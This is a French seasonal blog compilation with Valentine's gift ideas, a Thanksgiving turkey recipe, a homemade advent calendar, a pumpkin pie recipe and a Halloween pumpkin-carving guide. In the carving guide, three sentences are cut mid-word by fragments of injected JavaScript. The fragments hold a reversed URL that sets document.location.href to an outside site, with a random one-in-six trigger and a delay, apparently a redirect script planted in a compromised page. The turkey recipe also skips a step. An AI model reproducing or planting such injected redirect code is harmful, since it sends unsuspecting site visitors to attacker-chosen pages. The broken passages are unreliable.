Quand vient le mois de février on se demande toujours quels cadeaux offrir à sa Valentine…ou à son Valentin pour lui montrer notre amour ! Bien que souvent nous sommes à court d’idée ! Alors voici donc quelques petits présents, qui à coup sûr lui feront plaisir !
1 – Pour commencer, quoi de mieux que de débuter la journée avec un bon petit-déjeuner et des crêpes en forme de cœur ? Et oui c’est possible ! Avec notre poêle spécial st-valentin !
2 – Pas de petit-déjeuner sans café ! Un mug pour lui rappeler à chaque café à quel point vous l’aimez.
3 – Offrez vos cadeaux accompagnés d’une belle composition de ballon – rouge – blanc – rose ! Mettez le nombre de ballons que vous voulez en les gonflants à l’hélium, mais attention tenez les bien sinon ils risquent de s’envoler !
4 – Pour éviter la catastrophe des ballons qui s’envolent nous avons la solution ! Mettez une bougie (éteinte bien sûr) à la base des ballons ! Mais ce n’est pas qu’une simple bougie, il y a bien évidemment une surprise à l’intérieur…un bijou d’exception !
5 – Une Photo que vous avez faite ensemble !
6 – Bocal à mots, glissez 365 mots doux (souvenirs, citations, mots d’amour…) qu’il… ou qu’elle ouvrir tous les jours!
Il n’y a pas qu’aux États-Unis qu’on peut fêter Thanksgiving avec une dinde.
Alors, voici la recette de cette fameuse dinde que l’on voit même dans les films !
Ingrédients :
Une dinde de 8 kilos
115gr de beurre
500gr de sel
2 carottes
1 oignon
2 branches de céleri
2 branches de thym
1 feuille de laurier
Vin blanc
Stuffing (farce)
PRÉPARATION
Étape 1 –
La veille du repas, laver la dinde et récupérer les abats
Étape 2 –
Frotter la dinde avec le sel, puis la placer dans un contenant assez large pour pouvoir la recouvrir.
Étape 3 –
Recouvrir la dinde d’eau et l’assaisonner avec du poivre et du thym. La laisser au réfrigérateur toute la nuit.
Étape 5 –
Le jour J, sortir la dinde du contenant et la relaver jusqu’à ce qu’elle sèche entièrement. Pendant ce temps préchauffer le four à 175 degrés.
Étape 6 –
Une fois la dinde séchée, la retourner, poitrine vers le bas et la mettre dans son plat au four.
Étape 7 –
Étaler 60 grammes de beurre fondu sur la dinde et la fourrer avec le stuffing (la farce).
Étape 8 –
Ficeler les pattes et mettre les légumes coupés en morceaux dans le plat au tour de la dinde, vous pouvez y ajouter un verre de vin blanc pour plus de saveurs.
Étape 9 –
Aux alentours de 2h45 de cuisson, retourner la dinde en faisant attention à la farce et badigeonner la poitrine avec le reste du beurre fondu ( 60 grammes ).
Étape 10 –
Selon le poids de votre dinde, il faudra compter encore 1h/1h30 de cuisson avant de pouvoir sortir la dinde du four.
Étape 11 –
Une fois votre dinde cuite, attendre environ 30 minutes avant de la découper.
La période de Noël arrive, pour aider les petits et les grands à patienter jusqu’au passage du père-noël. Il y a le calendrier de l’avant remplit de goodies et de chocolats.
LE MATERIEL :
24 rouleaux de papier toilette vides ou des sachets (tissu ou carton)
1 cintre ou bout de bois
Une planche de 24 numéros
Une bobine de ficelle
Une paire de ciseau
une perforateur
ETAPE 1 –
Si vous avez choisi le rouleau de papier toilette, rabattez les extrémités afin de former un paquet, perforez un rabats et les pliez-les.
Si vous avez utilisé des sachets en carton perforez le bout de votre sachet.
ETAPE 2 –
Avec la planche, découpez chaque numéro et les collez-les sur chaque boite.
Pour plus de décoration et d’amusement vous pouvez ajouter des stickers, de la ficelle/dentelle, des dessins…
ETAPE 3 –
Vous pouvez enfin remplir vos petites boites. De chocolats, goodies (porte-clef, des mots, accessoires…), des activités.
ETAPE 4 –
Découpez des ficelles à des longueurs différentes et passez-les dans les trous que vous avez percé au préalable.
Vous pouvez maintenant les attacher au cintre ou au bout de bois à des niveaux différents.
Et voilà, vous avez un magnifique calendrier de l’avent fait maison. Alors comment avez-vous trouvez ce tuto? Montrez nous vos calendrier !
La saison des citrouilles et des potirons est arrivée alors quoi de mieux que de préparer un tarte à la citrouille qu’avec ses petits monstres ?
Et si on préparait cette tarte ensemble !
TARTE A LA CITROUILLE SUCRÉE :
Temps de préparation : 45 min
Temps de cuisson : 40 min
Ingrédients qu’il vous faut :
1 pâte brisée ou sablée
150g de sucre
1 sachet de sucre vanillé
1 pincée de muscade
sel
800g de citrouille
2 œufs entiers
2 jaunes d’œufs
20 cl de crème fraîche
PRÉPARATION
ÉTAPE 1
Faîtes cuire votre citrouille à la vapeur pendant 15 à 20 min.
ÉTAPE 2
Une fois cuite, en faire un purée.
ÉTAPE 3
Ajoutez la crème, les œufs, le sucre, la pincée de sel et la muscade (ne pas trop en mettre)
ÉTAPE 4
Une fois le mélange bien homogène, il doit être liquide.
ÉTAPE 5
Déroulez votre pâte dans un moule à tarte et piquez avec une fourchette.
ÉTAPE 6
Versez le mélange dans un plat à tarte.
ÉTAPE 7
Enfournez pendant 30 à 40 min suivant la puissance de votre four.
ÉTAPE 8
Dégustez de préférence froid.
ORIGINE
La Pumpkin Pie, la tarte à la citrouille, est un dessert traditionnel des États-Unis et du Canada. Elle est consommée bien souvent en automne et début hivers, pendant Thanksgiving et Noël. La citrouille est un symbole de moisson et se retrouve également lors de la fête d’Halloween.
Halloween est maintenant dans quelques jours, et la tradition dit qu’il n’y a pas d’Halloween sans citrouilles. Il n’y a rien de difficile, creuser, découper et salissez vous les mains.
Alors prenez votre plus belle citrouille et transformons la !
Le matériel nécessaire
Une grosse citrouille ou potiron
Un saladier pour pouvoir y déposer la chair
Un marqueur ou un feutre pour dessiner le modèle souhaité
Un couteau à dents
Une bougie à mettre à l’intérieur une fois fini.
ETAPE 1 – Creuser la citrouille
Pour commencer passez votre citrouille sous l’eau. Dessinez les contobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; ,delay);}tours du chapeau pour faire une grande ouverture ronde pour y glisser la main, découpez, puis retirez le chapeau. (Ne le jetez pas).
ETAPE 2 – Vider les graines et filaments
Retirer avec les mains rapidement l’intérieur, prenez une cuillère, et grattez bien la chair, les fibres et les pépins tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; ,delay);}tout en faisant attention à ne pas transpercer la citrouille.
Vous pouvez garder les pépins pour les ré-utiliser et faire un velouté de potiron/citrouille ou une tarte avec la chair.
ETAPE 3 – Dessiner le visage
A l’aide d’un modèle, d’un pochoir ou alors de son imagination dessinez avec un feutre le visage de ce petit monstre.
Si vous voulez faire une correction, gommez avec un papier absorbant mouillé.
ETAPE 4 – Découper et sculpter
Une fois le visage dessiné, prenez un couteau pour découper les contobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; ,delay);}tour et poussez les morceaux vers l’intérieur ou l’extérieur pour les retirer.
ETAPE 5 – Allumer une bougie
Placez une bougie ou une guirlande à l’intérieur de la citrouille et refermez avec chapeau découpez au début.
Si vous utilisez une vraie bougie ne remettez pas le chapeau car cela risque de faire brûler la chair et d’être dangereux.